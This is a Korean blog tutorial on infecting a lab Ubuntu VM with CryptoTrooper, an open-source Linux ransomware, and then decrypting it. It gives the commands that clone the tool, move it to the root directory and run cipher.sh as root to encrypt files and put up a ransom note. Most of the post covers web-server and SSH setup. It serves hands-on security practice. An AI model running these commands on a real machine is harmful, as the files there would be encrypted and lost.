안경잡이개발자

728x90
반응형

  CryptoTrooper리눅스 기반의 오픈소스 랜섬웨어(Ransomware)입니다. 간단히 랜섬웨어 실습을 해보고 싶을 때 사용할 수 있습니다.

 

※ Victim 서버용 OS 구축하기 ※

 

  가장 먼저 Guest OS를 구축합니다. 저는 Ubuntu 16.04 Server용 이미지를 이용해 Guest OS를 설치했습니다. 일단 Host OS에서 Guest에 손쉽게 접속할 수 있도록 Guest 입장에서 SSH를 설치합니다.

 

 

  이제 Guest는 Network 설정을 진행합니다. 기본적으로 네트워크 어댑터를 NAT에 연결합니다. 또한 [Connect Network Adapter]에 정상적으로 체크되어 있는지 확인합니다. 이 과정에서 Guest의 아이피 주소를 확인하기 위해 ifconfig 명령어를 사용해 볼 필요가 있습니다. 결과적으로 다음과 같이 포트포워딩을 진행합니다. 간단히 웹 서버도 같이 개방하고자 합니다.

 

 

※ Guest OS에 필요한 라이브러리 설치하기 ※

 

  Guest에서는 apache2 웹 서버와 MySQL을 설치합니다.

 

sudo apt-get install apache2 nginx-common mysql-server postgresql

 

  이후에 MySQL에 접속하여 간단히 설치된 내용을 확인합니다.

 

mysql -u root -p
use mysql;
select host, user, authentication_string from user;

 

  실행 결과는 다음과 같습니다.

 

 

  이후에 간단히 하나의 테이블을 만들고 예시 데이터를 입력합니다.

 

CREATE TABLE CUSTOMER (
    id int(10) NOT NULL,
    name varchar(20) DEFAULT NULL,
    PRIMARY KEY(id)
);

INSERT INTO CUSTOMER VALUES (1, 'Johnson');
SELECT * FROM CUSTOMER;

 

  실행 결과는 다음과 같습니다.

 

 

※ Host에서 Guest OS의 웹 서버에 접속해보기 ※

  포트포워딩을 통해 개방된 웹 서버에 접속해 볼 수 있습니다.

 

 

※ Guest OS에서 CryptoTrooper를 사용하기 ※

 

  이제 Guest OS에서 CryptoTrooper를 사용해 랜섬웨어에 감염되어 봅시다. 먼저 전체 소스코드를 다운로드 받습니다. 그리고 소스코드가 존재하는 경로에 있는 모든 파일들을 루트 디렉토리(/)로 옮깁시다.

 

git clone https://github.com/jdsecurity/CryptoTrooper
cd /
sudo mv $CRYPTOTROOPER_SOURCE_DIRECTORY/* .

 

  실행 결과는 다음과 같습니다.

 

 

  이후에 랜섬웨어를 동작시키는 cipher.sh 스크립트를 실행합니다.

 

sudo /cipher.sh &

 

  실행 결과는 다음과 같습니다. 기본적으로 접근 가능한 디렉토리에 있는 파일들을 모두 감염시킵니다.

 

 

 

※ Host에서 감염된 Guest OS의 웹 서버에 접속해보기 ※

 

  웹 사이트에 접속하면 다음과 같이 랜섬 노트(Ransom Note)를 확인할 수 있습니다.

 

 

※ 감염된 Guest OS에서 복호화 해보기 ※

 

  Guest OS에서는  whiteDecipher.sh 스크립트를 실행하여 암호된 파일들을 암호 해제해 볼 수 있습니다.

 

sudo ./whiteDecipher.sh
sudo /decipher.sh

 

  실행 결과는 다음과 같습니다.

 

 

  이어서 호스트가 다시 접속하면 다음과 같이 복호화 된 것을 확인할 수 있습니다.

 

 

※ Host에서 예시 웹 사이트 만들어 Guest로 옮기기 ※

 

  커스텀 웹 사이트가 랜섬웨어에 감염된 것을 실습하는 방법입니다.

 

 

  ▶ index.html

<html>
    <head>
        <title>Demo Website</title>
    </head>
    <body>
        <h2>Demo Website</h2>
        <p>This is a demo website for demonstrating ransomware infection.</p>
        <h3>
            <a href="./link1.html">Link 1</a>
        </h3>
        <h3>
            <a href="./link2.html">Link 2</a>
        </h3>
    </body>
</html>

 

  ▶ link1.html

 

<html>
    <head>
        <title>Demo Website</title>
    </head>
    <body>
        <h2>Link 1</h2>
        <p>This is link 1.</p>
    </body>
</html>

 

  ▶ link2.html

 

<html>
    <head>
        <title>Demo Website</title>
    </head>
    <body>
        <h2>Link 2</h2>
        <p>This is link 2.</p>
    </body>
</html>

 

  이제 Host OS에서 Guest OS로 파일을 옮깁시다. Host OS 입장에서는 127.0.0.1:5678이 Guest 의 주소가 됩니다. 결과적으로 Guest의 /home/dongbin/web 이라는 경로에 파일들을 옮기는 것입니다.

 

sudo scp -r -P 5678 /home/dongbin/Downloads/demo/ dongbin@127.0.0.1:/home/dongbin/web

 

  실행 결과는 다음과 같습니다.

 

 

  만약에 SSH 접속을 많이 해서 Host Identification이 변경되었다는 내용이 출력되는 경우 /root/.ssh/known_hosts에 작성된 내용을 제거할 수 있도록 합니다.

 

sudo rm /root/.ssh/known_hosts

 

 

  결과적으로 Guest는 다음과 같이 웹 파일을 받게 됩니다.

 

 

  이후에 전달 받은 경로인 /home/dongbin/web을 Apache의 루트 디렉토리로 설정합니다.

 

sudo nano /etc/apache2/apache2.conf

 

  대략 다음과 같은 형태로 작성된 부분이 있습니다.

 

<Directory /var/www/>
    ...
</Directory>

 

  이걸 자신의 경로로 바꿉니다.

 

<Directory /home/dongbin/web/>
    ...
</Directory>

 

  예를 들어 다음과 같이 작성됩니다.

 

 

  이어서 sites-available 경로에 있는 default.conf 파일도 변경합니다.

 

sudo nano /etc/apache2/sites-available/000-default.conf

 

  여기에 적혀 있는 DocumentRoot의 경로를 마찬가지로 변경해 주겠습니다.

 

DocumentRoot /home/dongbin/web/

 

  다음과 같이 변경됩니다.

 

 

  이제 웹 서버를 재부팅합니다.

 

sudo service apache2 restart

 

  이어서 다시 호스트 입장에서 접속하면 다음과 같습니다.

 

 

  참고로 만약 호스트에서 접속했을 때 403 Forbidden 오류가 나온다면, 다음과 같이 루트 디렉토리에 있는 파일들에 대하여 권한을 변경합니다.

 

cd /home/dongbin/web/
sudo chmod o+x ~

 

  이어서 Guest OS에서 다시 CryptoTrooper를 받아서 랜섬웨어 감염을 진행합시다.

 

cd /home/dongbin
sudo rm -rf CryptoTrooper
git clone https://github.com/jdsecurity/CryptoTrooper

cd /
sudo mv $CRYPTOTROOPER_SOURCE_DIRECTORY/* .
sudo /cipher.sh &

 

  실행 결과는 다음과 같습니다.

 

 

  그러면 각종 웹 파일들의 확장자가 .enc로 변경되며 암호화됩니다.

 

  마찬가지로 다시 복호화를 진행하면 정상적으로 호스트에서 파일을 확인할 수 있습니다.

 

 

 

728x90
반응형